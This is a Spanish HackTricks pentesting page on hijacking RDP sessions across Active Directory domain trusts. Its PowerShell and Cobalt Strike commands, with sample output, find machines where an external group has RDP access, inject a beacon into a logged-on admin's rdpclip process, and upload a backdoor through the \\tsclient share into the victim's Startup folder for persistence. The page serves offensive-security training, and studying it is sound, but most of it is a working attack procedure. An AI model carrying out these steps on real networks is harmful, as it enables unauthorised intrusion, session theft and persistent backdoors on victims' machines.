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82 lines
4.6 KiB
Markdown
82 lines
4.6 KiB
Markdown
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## Abuso de Sesiones RDP
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Si el **grupo externo** tiene acceso **RDP** a cualquier **computadora** en el dominio actual, un **atacante** podría **comprometer esa computadora y esperar**.
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Una vez que ese usuario ha accedido a través de RDP, el **atacante puede pivotar a la sesión de ese usuario** y abusar de sus permisos en el dominio externo.
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```powershell
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# Supposing the group "External Users" has RDP access in the current domain
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## lets find where they could access
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## The easiest way would be with bloodhound, but you could also run:
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Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
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#or
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Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
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# Then, compromise the listed machines, and wait til someone from the external domain logs in:
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net logons
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Logged on users at \\localhost:
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EXT\super.admin
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# With cobalt strike you could just inject a beacon inside of the RDP process
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beacon> ps
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PID PPID Name Arch Session User
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--- ---- ---- ---- ------- -----
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...
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4960 1012 rdpclip.exe x64 3 EXT\super.admin
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beacon> inject 4960 x64 tcp-local
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## From that beacon you can just run powerview modules interacting with the external domain as that user
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```
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Revisa **otras formas de robar sesiones con otras herramientas** [**en esta página.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing)
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## RDPInception
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Si un usuario accede a través de **RDP a una máquina** donde un **atacante** está **esperando** por él, el atacante será capaz de **inyectar un beacon en la sesión RDP del usuario** y si la **víctima montó su unidad** al acceder a través de RDP, el **atacante podría acceder a ella**.
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En este caso, simplemente podrías **comprometer** el **ordenador original de la víctima** escribiendo una **puerta trasera** en la **carpeta de inicio**.
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```powershell
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# Wait til someone logs in:
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net logons
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Logged on users at \\localhost:
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EXT\super.admin
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# With cobalt strike you could just inject a beacon inside of the RDP process
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beacon> ps
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PID PPID Name Arch Session User
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--- ---- ---- ---- ------- -----
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...
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4960 1012 rdpclip.exe x64 3 EXT\super.admin
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beacon> inject 4960 x64 tcp-local
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# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
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## \\tsclient\c is the C: drive on the origin machine of the RDP session
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beacon> ls \\tsclient\c
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Size Type Last Modified Name
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---- ---- ------------- ----
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dir 02/10/2021 04:11:30 $Recycle.Bin
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dir 02/10/2021 03:23:44 Boot
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dir 02/20/2021 10:15:23 Config.Msi
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dir 10/18/2016 01:59:39 Documents and Settings
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[...]
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# Upload backdoor to startup folder
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beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
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beacon> upload C:\Payloads\pivot.exe
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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